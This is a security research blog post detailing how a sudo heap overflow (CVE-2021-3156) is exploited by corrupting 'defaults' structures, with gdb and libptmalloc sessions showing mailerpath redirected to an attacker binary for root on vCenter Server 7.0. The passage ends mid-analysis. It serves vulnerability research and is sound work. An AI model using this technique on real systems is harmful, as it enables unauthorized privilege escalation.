TL; DR
I was going to name this blog: "libptmalloc, one tool to rule glibc" :). I am writing this blog for 3 reasons. The first reason is related to detailing the technique of abusing defaults
structures to exploit CVE-2021-3156. This technique was made public by the awesome Worawit and an exploit is already available for it, but he didn’t explain it in detail. The second reason is that we are releasing a new version of the libptmalloc tool along with the blog that you may be interested in, if you are into exploiting glibc. The third reason is that we are making public an updated version of the exploit that is more robust and works on vCenter Server.
There has been at least 2 remote code execution (RCE) vulnerabilities recently patched in vCenter Server that resulted in the vsphere-ui
permission being obtained but not root:
- CVE-2021-21972: advisory, blog 1, blog 2 and metasploit module
- CVE-2021-21985: advisory, blog and POC
Exploiting CVE-2021-3156 allows privilege elevation from the regular user vsphere-ui
to root
.
Table of content
- Vulnerability exploitation
- Context
- Exploitation technique overwriting "defaults" structures
- Heap layout before the overflow
- From "defaults" structure overwrite to binary execution
- Source code analysis
- Debugging with libptmalloc
- Determining the environment-specific missing bits
- Determining the right "cmnd size"
- Determining the right "defaults offset"
- Summary
- Exploiting Photon OS / vCenter Server
- Determining the right "cmnd size" and "defaults offset"
- Getting root on vCenter server
- Conclusion
- Thanks
Vulnerability exploitation
Previously, there have been multiple write-ups and publicly released exploits for this vulnerability. I am only going to mention the great original research from Qualys and awesome additional research from Worawit. Both are quite detailed on the different approaches to exploit this vulnerability on multiple targets and Worawit’s research also includes lots of working exploits.
I highly recommend the resources above, but you can read them independently of this blog. Here is a summary of the important points to understand this blog:
- CVE-2021-3156 is a heap-overflow vulnerability in the
sudo
binary while parsing command line arguments. The vulnerability allows an attacker to elevate privilege toroot
when exploited successfully. Since it is a userland vulnerability, there is no risk of crashing the machine when attempting exploitation. - The vulnerability allows very precise control of:
- The size of the allocated vulnerable chunk
- How much data overflows outside the bounds of the vulnerable chunk
- What data to write to corrupt the adjacent chunks
- This allows various exploitation methods to be leveraged, all having different advantages. This is especially useful due to heterogeneous targets and environments:
- The
sudo
binary, once executed by the user and passed the command line arguments, will parse different configuration files (/etc/sudoers
,/etc/sudo.conf
,/etc/nsswitch.conf
) which will significantly influence the heap layout. - The glibc version matters a lot. As described by Worawit in his blog, tcache free bins (introduced in glibc 2.26) typically trigger completely different heap layouts than when they are not present.
sudo
supports a stable branch (1.9.x) and a legacy branch (1.8.x and below). Legacy versions don’t receive new features, so their code can be quite different from the stable release, resulting in potentially different heap layouts.
- The
- The method of exploitation chosen affects the stealthiness of the attack. Some methods allows exploitation in one attempt. Other methods require crashing the
sudo
binary several times until the right sizes of certain chunks and/or offsets to other chunks and/or bruteforcing ASLR are all valid to allow successful exploitation (Spoiler: we will be more interested in the second case in this blog).
Context
The context of this blog is exploiting CVE-2021-3156 on VMWare vCenter Server 7.0.
vCenter images are typically based on Photon OS. Old vCenter versions use Photon 1.0 whereas vCenter 7 uses Photon 3.0:
root@VCSA-7 [ ~ ]# cat /etc/photon-release
VMware Photon OS 3.0
PHOTON_BUILD_NUMBER=49d932d
vCenter 7 uses glibc 2.28:
root@VCSA-7 [ ~ ]# tdnf list glibc
glibc.x86_64 2.28-12.ph3 @System
glibc.x86_64 2.28-2.ph3 photon
glibc.x86_64 2.28-10.ph3 photon-updates
glibc.x86_64 2.28-11.ph3 photon-updates
glibc.x86_64 2.28-12.ph3 photon-updates
glibc.x86_64 2.28-3.ph3 photon-updates
glibc.x86_64 2.28-4.ph3 photon-updates
glibc.x86_64 2.28-5.ph3 photon-updates
glibc.x86_64 2.28-6.ph3 photon-updates
glibc.x86_64 2.28-7.ph3 photon-updates
glibc.x86_64 2.28-8.ph3 photon-updates
glibc.x86_64 2.28-9.ph3 photon-updates
When starting to debug in gdb and using libptmalloc, we quickly noticed something special. In Photon OS 3, glibc is customised. For instance, the malloc_par
structure includes a new arena_stickiness
field. Moreover, even though tcache bins were introduced in glibc 2.26 and glibc 2.28 is used on Photon OS, tcache bins were actually disabled at compile time:
sudo
versions available on Photon OS are from both the legacy (1.8.x) and the stable (1.9.x) branches:
root@VCSA-7 [ ~ ]# tdnf list sudo
sudo.x86_64 1.8.30-1.ph3 @System
sudo.x86_64 1.8.23-1.ph3 photon
sudo.x86_64 1.8.23-2.ph3 photon-updates
sudo.x86_64 1.8.30-1.ph3 photon-updates
sudo.x86_64 1.8.30-2.ph3 photon-updates
sudo.x86_64 1.9.5-1.ph3 photon-updates
sudo.x86_64 1.9.5-2.ph3 photon-updates
sudo.x86_64 1.9.5-3.ph3 photon-updates
Since tcache is disabled, the exploitation method relying on overwriting service_user
structures detailed by Worawit in his blog can’t work (more on that later).
The exploitation method that looked the most promising relies on overwriting defaults
structures and will be the focus of this blog. This method has a few requirements.
- tcache is not used. We saw above that this true.
/etc/sudoers
hasDefaults
lines, which is true:
root@VCSA-7 [ ~ ]# grep -E "^Defaults" /etc/sudoers
Defaults env_keep += "VMWARE_VAPI_HOME VMWARE_RUN_FIRSTBOOTS VMWARE_DATA_DIR VMWARE_INSTALL_PARAMETER VMWARE_PERFCHARTS VMWARE_LOG_DIR VMWARE_OPENSSL_BIN VMWARE_TOMCAT VMWARE_RUNTIME_DATA_DIR VMWARE_PYTHON_PATH VMWARE_TMP_DIR VMWARE_PERFCHARTS_COMPONENT VMWARE_PYTHON_MODULES_HOME VMWARE_JAVA_WRAPPER VMWARE_TCROOT VMWARE_PYTHON_BIN VMWARE_CLOUDVM_RAM_SIZE VMWARE_VAPI_CFG_DIR VMWARE_CFG_DIR VMWARE_JAVA_HOME VMWARE_COMMON_JARS VMWARE_B2B VMWARE_VAPI_PYTHONPATH VMWARE_CIS_HOME"
Defaults!SCRIPT !syslog
sudo
is not compiled with--disable-root-mailer
, which is true:
root@VCSA-7 [ ~ ]# strings /usr/bin/sudo | grep "--build"
--host=x86_64-unknown-linux-gnu --build=x86_64-unknown-linux-gnu --program-prefix= --disable-dependency-tracking --prefix=/usr --exec-prefix=/usr --bindir=/usr/bin --sbindir=/usr/sbin --sysconfdir=/etc --datadir=/usr/share --includedir=/usr/include --libdir=/usr/lib --libexecdir=/usr/libexec --localstatedir=/var --sharedstatedir=/var/lib --mandir=/usr/share/man --infodir=/usr/share/info --libexecdir=/usr/lib --docdir=/usr/share/doc/sudo-1.8.30 --with-all-insults --with-env-editor --with-pam --with-passprompt=[sudo] password for %p
/tmp
is not mounted withnosuid
. This is not the case, but we can work around it (more on this later):
root@VCSA-7 [ ~ ]# mount | grep /tmp
tmpfs on /tmp type tmpfs (rw,nosuid,nodev)
Testing the public exploit on vCenter Server 7.0, at the date of the research, fails:
vsphere-ui@VCSA-7 [ ~ ]$ python3 exploit_defaults_mailer.py
...
Traceback (most recent call last):
File "exploit_defaults_mailer.py", line 402, in
main()
File "exploit_defaults_mailer.py", line 374, in main
offset_defaults = find_defaults_chunk(argv, env_prefix)
File "exploit_defaults_mailer.py", line 235, in find_defaults_chunk
assert exit_code in (256, 11) and has_askpass(err), "cannot find defaults chunk"
AssertionError: cannot find defaults chunk
But why?
Exploitation technique overwriting "defaults" structures
Since the internals of the method relying on overwriting defaults
structures hasn’t been publicly detailed to our knowledge, we will first analyse how it works on CentOS 7, which was supported by the original exploit. Then, we will be able to understand why the exploit didn’t work on vCenter Server 7.0 and how we can fix it to have a working exploit.
Heap layout before the overflow
Before going into details on the internals, let’s quickly leverage the power of libptmalloc and analyse the layout of the heap before the allocation where we trigger the overflow.
libptmalloc is all about chunks of memory on the glibc heap. It allows tracking if chunks are allocated or freed, looking at their headers and data. If the chunks are free, we can see in what free bin (tcache, fast, small, large, unsorted) they are. We can analyse chunks linearly in memory. We can also directly look at the free bins themselves and list the chunks present in that bin. But it allows lots of other cool features as well. One of them is adding our own metadata for specific chunks. E.g. it allows implementing a heap allocation tracer by saving the backtrace of every newly allocated chunk. In our case, we are interested in knowing where specific structures like defaults
and service_user
structures.
E.g. for the defaults
structure allocation, the backtrace is:
(gdb) bt
#0 0x0000155553a351e4 in new_default (var=0x5555557d4940 "visiblepw", val=val@entry=0x0, op=) at gram.y:934
#1 0x0000155553a36dfb in sudoersparse () at gram.y:244
#2 0x0000155553a1428c in sudo_file_parse (nss=0x155553c5f4a0 ) at ./parse.c:108
#3 0x0000155553a1bd36 in sudoers_policy_init (info=info@entry=0x7fffffbacdf0, envp=envp@entry=0x7fffffbad110) at ./sudoers.c:193
#4 0x0000155553a15bd7 in sudoers_policy_open (version=, conversation=, plugin_printf=, settings=0x555555786950, user_info=0x5555557790f0, envp=0x7fffffbad110, args=0x0) at ./policy.c:782
#5 0x000055555555955b in policy_open (plugin=0x555555778560 , user_env=0x7fffffbad110, user_info=0x5555557790f0, settings=) at ./sudo.c:1125
#6 main (argc=, argv=0x7fffffbad0d8, envp=0x7fffffbad110) at ./sudo.c:209
We are just after the allocation:
(gdb) x /-i $pc
0x155553a351df : call 0x155553a03840
(gdb) x /i $pc
=> 0x155553a351e4 : test rax,rax
Consequently, the chunk address is rax-0x10
as 0x10
is the size of the malloc_chunk
header on x64. The libptmalloc ptchunk
command parses the heap memory as an allocated chunk (M
) of 0x40 bytes:
(gdb) ptchunk rax-0x10 -M "tag"
0x5555557d4950 M sz:0x00040 fl:--P
Now, we add a metadata which name is tag
and value Defaults entry in sudoers (struct defaults)
(gdb) ptmeta add rax-0x10 tag 'Defaults entry in sudoers (struct defaults)'
Using the ptchunk
command, we can later retrieve the metadata when printing the chunk!
(gdb) ptchunk rax-0x10 -M "tag"
0x5555557d4950 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
Automating that, we can log all the defaults
and service_user
allocations over time. Then, we can analyse the heap layout just before the allocation of the overflowing chunk.
Here, we use the ptlist
libptmalloc command. This command allows the user to list chunks of memory linearly from the beginning of the heap. Here we use an option to highlight chunks containing certain metadata with -G
(service_user
and defaults
) and highlight chunks that are unsorted/small/large free chunks or fast free chunks with -I
(F
for free chunk and f
for fast free chunk). In a normal scenario, the highlighted chunks would just be preceded with a star *
and the other chunks would still be printed. However, here we specify --highlight-only
to only shows the matching chunks. This means in the output below, it is missing lots of intermediate chunks between the ones that are actually printed. The printed chunks are in this order in memory, as can be confirmed by the increasing addresses!
(gdb) ptlist -M 'tag, color' -G 'service_user, struct defaults' -I 'F, f' --highlight-only
flat heap listing for arena @ 0x1555548c1760
* 0x555555779090 M sz:0x00050 fl:--P | nss service (struct service_user) |
* 0x555555779290 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x5555557792d0 M sz:0x00040 fl:--P | nss service (struct service_user) |
...
* 0x55555577a1a0 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x55555577a200 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x55555577a240 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x5555557d4950 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557d4fc0 F sz:0x01b50 fl:--P
* 0x5555557dac50 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557dacd0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557dad60 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557dade0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557daea0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557daf60 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db020 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db0e0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db1a0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db250 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db900 F sz:0x17700 fl:--P | N/A | (top)
0x5555557f3000 (sbrk_end)
Total of 39 chunks
There is a lot of interesting things to read from the previous output:
- There aren’t many free chunks (a.k.a holes). Since we are showing all of them, there is effectively just one free chunk at address
0x5555557d4fc0
(and the top chunk which is the rest of the heap). - The only free chunk is after the
service_user
chunks. So we can’t corrupt these, as mentioned by Worawit in his blog. This is due to glibc not having tcache bins. - Some
defaults
structures are after the free chunk, so we can indeed plan to use the hole for the overflowing chunk and abuse the corrupteddefaults
structures to elevate privileges (more on that later). On a side note, we see there is quite some space between the end of the overflowing chunk0x5555557d4fc0+0x1b50=0x5555557d6b10
and the firstdefaults
chunk we can target0x5555557dac50
, so we need that everything that is in between that gets corrupted to not be used before we can abuse our corrupteddefaults
structure.
From "defaults" structure overwrite to binary execution
Worawit mentions that this technique allows to execute your own binary as root, when the sudo
code tries to call into another binary a.k.a. the sendmail
binary, which is used by sudo
to send an email whenever an error occurs. In a normal scenario, the mailerpath
can be redefined using the /etc/sudoers
configuration file but crafting fake defaults
structures in memory should be enough to trigger this same mechanism, right?
Source code analysis
Let’s analyse the source code of the send_mail()
function.
//sudo_1.8.23-9.el7/plugins/sudoers/logging.c | |
/* | |
* Send a message to MAILTO user | |
*/ | |
static bool | |
send_mail(const char *fmt, ...) | |
{ | |
... | |
/* If mailer is disabled just return. */ | |
[0] if (!def_mailerpath || !def_mailto) | |
debug_return_bool(true); | |
[1] /* Make sure the mailer exists and is a regular file. */ | |
if (stat(def_mailerpath, &sb) != 0 || !S_ISREG(sb.st_mode)) | |
debug_return_bool(false); | |
[2] ... | |
switch (pid = sudo_debug_fork()) { | |
case -1: | |
/* Error. */ | |
... | |
case 0: | |
{ | |
char *last, *argv[MAX_MAILFLAGS + 1]; | |
[3] char *mflags, *mpath = def_mailerpath; | |
int i; | |
... | |
if ((argv[0] = strrchr(mpath, '/'))) | |
argv[0]++; | |
else | |
argv[0] = mpath; | |
i = 1; | |
... | |
argv[i] = NULL; | |
/* | |
* Depending on the config, either run the mailer as root | |
* (so user cannot kill it) or as the user (for the paranoid). | |
*/ | |
#ifndef NO_ROOT_MAILER | |
[4] (void) set_perms(PERM_ROOT); | |
execve(mpath, argv, root_envp); | |
#else | |
[5] (void) set_perms(PERM_FULL_USER); | |
execv(mpath, argv); | |
#endif /* NO_ROOT_MAILER */ | |
... | |
_exit(127); | |
} | |
break; | |
} | |
... |
Some checks on def_mailerpath
happen at [0]
/[1]
. We redacted some code at [2]
that executes fork()
to allow executing the sendmail
binary in the background as well as redirect stdin/stdout/stderr to /dev/null
. At [3]
it gets a reference to def_mailerpath
which is supposed to contain the path to the sendmail
binary (generally /usr/bin/sendmail
) and builds argv[]
arguments. At [4]
, if --disable-root-mailer
was not set at sudo
compile time, it is going to execute the sendmail
binary as root. Otherwise at [5]
, it will execute sendmail
as normal user.
So if we happen to change the sendmail
path somehow, it will execute our own binary as root!
But interestingly, def_mailerpath
is an alias for accessing an element of the sudo_defs_table[]
table which contains sudo_defs_types
whereas defaults
structures are of completely different types!
//sudo_1.8.23-9.el7/plugins/sudoers/def_data.h | |
#define I_MAILERPATH 39 | |
#define def_mailerpath (sudo_defs_table[I_MAILERPATH].sd_un.str) |
//sudo_1.8.23-9.el7/plugins/sudoers/def_data.c | |
struct sudo_defs_types sudo_defs_table[] = { | |
{ | |
... | |
}, { | |
"mailerpath", T_STR|T_BOOL|T_PATH, | |
N_("Path to mail program: %s"), | |
NULL, | |
}, { | |
"mailerflags", T_STR|T_BOOL, | |
N_("Flags for mail program: %s"), | |
NULL, | |
}, { | |
... | |
} | |
}; |
/* | |
* Structure describing compile-time and run-time options. | |
*/ | |
struct sudo_defs_types { | |
char *name; | |
int type; | |
char *desc; | |
struct def_values *values; | |
bool (*callback)(const union sudo_defs_val *); | |
union sudo_defs_val sd_un; | |
}; |
//sudo_1.8.23-9.el7/plugins/sudoers/parse.h | |
/* | |
* Structure describing a Defaults entry in sudoers. | |
*/ | |
struct defaults { | |
TAILQ_ENTRY(defaults) entries; | |
char *var; /* variable name */ | |
char *val; /* variable value */ | |
struct member_list *binding; /* user/host/runas binding */ | |
char *file; /* file Defaults entry was in */ | |
short type; /* DEFAULTS{,_USER,_RUNAS,_HOST} */ | |
char op; /* true, false, '+', '-' */ | |
char error; /* parse error flag */ | |
int lineno; /* line number of Defaults entry */ | |
}; |
So how do we go from corrupting a defaults
structure to changing the def_mailerpath
entry before execve()
is called?
It turns out if you craft the defaults
structures well enough, it will update def_mailerpath
in update_defaults()
. It is confirmed by a comment in the snippet below since def_mailerpath
is part of the sudo_defs_table[]
array:
//sudo_1.8.23-9.el7/plugins/sudoers/defaults.c | |
bool | |
update_defaults(int what, bool quiet) | |
{ | |
struct defaults *d; | |
... | |
/* | |
* Then set the rest of the defaults. | |
*/ | |
TAILQ_FOREACH(d, &defaults, entries) { | |
... | |
/* Copy the value to sudo_defs_table and run callback (if any) */ | |
if (!set_default(d->var, d->val, d->op, d->file, d->lineno, quiet)) | |
ret = false; | |
} | |
debug_return_bool(ret); | |
} |
Let’s see what happens in set_cmnd()
which is the function where the overflow occurs:
//sudo_1.8.23-9.el7/plugins/sudoers/sudoers.c | |
static int | |
set_cmnd(void) | |
{ | |
... | |
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { | |
... | |
/* set user_args */ | |
if (NewArgc > 1) { | |
char *to, *from, **av; | |
size_t size, n; | |
/* Alloc and build up user_args. */ | |
for (size = 0, av = NewArgv + 1; *av; av++) | |
size += strlen(*av) + 1; | |
[6] if (size == 0 || (user_args = malloc(size)) == NULL) { | |
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); | |
debug_return_int(-1); | |
} | |
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { | |
/* | |
* When running a command via a shell, the sudo front-end | |
* escapes potential meta chars. We unescape non-spaces | |
* for sudoers matching and logging purposes. | |
*/ | |
[7] for (to = user_args, av = NewArgv + 1; (from = *av); av++) { | |
while (*from) { | |
if (from[0] == '\\' && !isspace((unsigned char)from[1])) | |
from++; | |
*to++ = *from++; | |
} | |
*to++ = ' '; | |
} | |
*--to = '\0'; | |
} else { | |
... | |
} | |
} | |
} | |
... | |
[8] if (!update_defaults(SETDEF_CMND, false)) { | |
[9] log_warningx(SLOG_SEND_MAIL|SLOG_NO_STDERR, | |
N_("problem with defaults entries")); | |
} | |
debug_return_int(ret); | |
} |
At [6]
, the buffer is allocated and we completely control the size of the allocation. At [7]
, data is copied into that buffer and due to the vulnerability, we control the size of the data copied outside of that buffer. This means we can corrupt adjacent defaults
structures on the heap. As we saw earlier, they are not necessarily immediately adjacent to the overflown chunk, so there may be other chunks corrupted before hitting the target chunk. Then at [8]
, update_defaults()
is called, resulting in updating def_mailerpath
according to the previously corrupted defaults
structures. Finally at [9]
, log_warningx
logs an error. send_mail()
ends up being called and execve()
is called on the controlled def_mailerpath
.
Debugging with libptmalloc
Now let’s debug it. We break in the debugger before the vulnerable buffer allocation:
(gdb) bt
#0 set_cmnd () at ./sudoers.c:865
#1 sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x7fffffbad0f8, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, closure=closure@entry=0x7fffffbacdf0) at ./sudoers.c:310
#2 0x0000155553a15654 in sudoers_policy_check (argc=2, argv=0x7fffffbad0f8, env_add=0x0, command_infop=0x7fffffbace78, argv_out=0x7fffffbace80, user_env_out=0x7fffffbace88) at ./policy.c:857
#3 0x0000555555559341 in policy_check (plugin=0x555555778560 , user_env_out=0x7fffffbace88, argv_out=0x7fffffbace80, command_info=0x7fffffbace78, env_add=0x0, argv=0x7fffffbad0f8, argc=2) at ./sudo.c:1179
#4 main (argc=, argv=, envp=0x7fffffbad110) at ./sudo.c:245
We have the following memory layout, with just the 0x1b50
large hole:
(gdb) ptlist -M 'tag, color' -G 'struct defaults' -I 'F, f' --highlight-only
flat heap listing for arena @ 0x1555548c1760
* 0x5555557d4950 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557d4fc0 F sz:0x01b50 fl:--P
* 0x5555557dac50 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557dacd0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557dad60 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557dade0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557daea0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557daf60 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db020 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db0e0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db1a0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db250 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db900 F sz:0x17700 fl:--P | N/A | (top)
0x5555557f3000 (sbrk_end)
Total of 13 chunks
The first defaults
structure after the large hole is still unmodified:
(gdb) p *(struct defaults*)(0x5555557dac50+0x10)
$2 = {
entries = {
tqe_next = 0x5555557dace0,
tqe_prev = 0x5555557d4960
},
var = 0x5555557dac40 "always_set_home",
val = 0x0,
binding = 0x5555557daca0,
file = 0x5555557d4004 "/etc/sudoers",
type = 265,
op = 1 ' 01',
error = 0 ' 00',
lineno = 64
}
Then we break after the allocation. Assuming we know the large hole size to be 0x1b50
, we can make it allocated into that previous large hole:
(gdb) ptlist -M 'tag, color' -G 'struct defaults, overflow' -I 'F, f' --highlight-only
flat heap listing for arena @ 0x1555548c1760
* 0x5555557d4950 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557d4fc0 M sz:0x01b50 fl:--P | user_args (overflowing buffer) |
* 0x5555557dac50 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557dacd0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557dad60 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557dade0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557daea0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557daf60 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db020 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db0e0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db1a0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db250 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db900 F sz:0x17700 fl:--P | N/A | (top)
0x5555557f3000 (sbrk_end)
Total of 13 chunks
Then we break after the overflow. Since we corrupted with invalid data, libptmalloc is unable to parse chunks of memory after the end of the user_args
chunk:
(gdb) ptlist -M 'tag, color' -G 'struct defaults, overflow' -I 'F, f' --highlight-only
flat heap listing for arena @ 0x1555548c1760
* 0x5555557d4950 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557d4fc0 M sz:0x01b50 fl:--P | user_args (overflowing buffer) |
[!] Could not read nextchunk (@0x4141969696beac50) size. Invalid chunk address?
Total of 2 chunks
However, assuming we know the offset between the end of the user_args
chunk and the following defaults
chunk, we can corrupt it and craft a fake mailerpath
:
(gdb) p *(struct defaults*)(0x5555557dac50+0x10)
$3 = {
entries = {
tqe_next = 0x7fffffff1090,
tqe_prev = 0x4141414141414141
},
var = 0x7fffffff1050 "mailerpath",
val = 0x7fffffff1060 "/tmp/hh",
binding = 0x7fffffff1020,
file = 0x7fffffff1020 "",
type = 269,
op = 1 ' 01',
error = 0 ' 00',
lineno = 64
}
Then we break when send_mail
is called. We see it is called from log_warningx()
previously mentioned:
(gdb) bt
#0 send_mail (fmt=0x155553a458ee "%s", fmt=0x155553a458ee "%s") at ./logging.c:639
#1 0x0000155553a128f3 in vlog_warning (flags=flags@entry=12, fmt=fmt@entry=0x155553a475dd "problem with defaults entries", ap=ap@entry=0x7fffffbacc40) at ./logging.c:553
#2 0x0000155553a12c36 in log_warningx (flags=flags@entry=12, fmt=fmt@entry=0x155553a475dd "problem with defaults entries") at ./logging.c:627
#3 0x0000155553a1cea1 in set_cmnd () at ./sudoers.c:912
#4 sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x7fffffbad0f8, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, closure=closure@entry=0x7fffffbacdf0) at ./sudoers.c:310
#5 0x0000155553a15654 in sudoers_policy_check (argc=2, argv=0x7fffffbad0f8, env_add=0x0, command_infop=0x7fffffbace78, argv_out=0x7fffffbace80, user_env_out=0x7fffffbace88) at ./policy.c:857
#6 0x0000555555559341 in policy_check (plugin=0x555555778560 , user_env_out=0x7fffffbace88, argv_out=0x7fffffbace80, command_info=0x7fffffbace78, env_add=0x0, argv=0x7fffffbad0f8, argc=2) at ./sudo.c:1179
#7 main (argc=, argv=, envp=0x7fffffbad110) at ./sudo.c:245
We see the def_mailerpath
which is part of the sudo_defs_table[]
array was changed as well:
(gdb) p sudo_defs_table[39]
$3 = {
name = 0x155553a4a9ac "mailerpath",
type = 771,
desc = 0x155553a4a9b7 "Path to mail program: %s",
values = 0x0,
callback = 0x0,
sd_un = {
flag = 1434267968,
ival = 1434267968,
uival = 1434267968,
tuple = 1434267968,
str = 0x5555557d3140 "/tmp/hh",
mode = 1434267968,
tspec = {
tv_sec = 93824994849088,
tv_nsec = 0
},
list = {
slh_first = 0x5555557d3140
}
}
}
Now we let it call execve()
and it executes our controlled binary /tmp/hh
and hits our breakpoint in it:
Thread 6.1 "hh" hit Catchpoint 58 (exec'd /tmp/hh), 0x0000000000400ae0 in ?? ()
Thread 6.1 "hh" received signal SIGTRAP, Trace/breakpoint trap.
printf (__fmt=) at /usr/include/x86_64-linux-gnu/bits/stdio2.h:104
104 return __printf_chk (__USE_FORTIFY_LEVEL - 1, __fmt, __va_arg_pack ());
(gdb) bt
#0 printf (__fmt=) at /usr/include/x86_64-linux-gnu/bits/stdio2.h:104
#1 main () at bin.c:46
(gdb) x /-2i $pc
0x400632 : call 0x44bc70
0x400637 : int3
Determining the environment-specific missing bits
A careful reader may have noticed a few hypotheses we made that are quite strong. Let’s go back to our memory layout pre-allocation. Previously to being able to trigger a call to our controlled binary as root, we need to know:
- The size of the large hole, so the vulnerable buffer gets allocated in that hole. In the below case the size is
0x1b50
. - The offset between the end of this hole and the first
defaults
structure later on the heap. In the below case it is0x4140
(0x5555557dac50-(0x5555557d4fc0+0x1b50)=0x4140
)
(gdb) ptlist -M 'tag, color' -G 'struct defaults' -I 'F, f' --highlight-only
flat heap listing for arena @ 0x1555548c1760
* 0x5555557d4950 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557d4fc0 F sz:0x01b50 fl:--P
* 0x5555557dac50 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557dacd0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557dad60 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557dade0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557daea0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557daf60 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db020 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db0e0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db1a0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db250 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db900 F sz:0x17700 fl:--P | N/A | (top)
0x5555557f3000 (sbrk_end)
Total of 13 chunks
We will refer to them as the "cmnd size" and the "defaults offset" as they are respectively the size of the cmnd arguments and the offset to the first adjacent defaults
chunk.
In order to determine them, Worawit’s exploit uses bruteforce and differentiates crashes at different places due to sudo
‘s return value and printed messages (more on this below).
Note: In reality, in addition to the above offset requirements, because of the defaults
structure requiring pointers to valid data, there is also a need to bypass ASLR, but we won’t go into details on this as it is basically just possible due to a weak ASLR and bruteforce, once the above "cmnd size" and "defaults offset" have been successfully found by bruteforce in the first place.
So how to determine the right "cmnd size" and "defaults offset"?
Determining the right "cmnd size"
The first task is to determine the right "cmnd size".
If the "cmnd size" is too small, it results into a SIGABRT(6)
with the following backtrace:
Program terminated with signal SIGABRT, Aborted.
warning: Unexpected size of section `.reg-xstate/112' in core file.
#0 0x00007ffff6fd9387 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:55
55 return INLINE_SYSCALL (tgkill, 3, pid, selftid, sig);
#0 0x00007ffff6fd9387 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:55
#1 0x00007ffff6fdaa78 in __GI_abort () at abort.c:90
#2 0x00007ffff701bef7 in __libc_message (do_abort=2, fmt=fmt@entry=0x7ffff712e410 "*** Error in `%s': %s: 0x%s ***n") at ../sysdeps/unix/sysv/linux/libc_fatal.c:196
#3 0x00007ffff7025ac6 in malloc_printerr (ar_ptr=0x7ffff736a760 , ptr=0x55555578a530, str=0x7ffff712bc5a "malloc(): memory corruption", action=) at malloc.c:4967
#4 _int_malloc (av=av@entry=0x7ffff736a760 , bytes=bytes@entry=524288) at malloc.c:3469
#5 0x00007ffff702871c in __GI___libc_malloc (bytes=524288) at malloc.c:2905
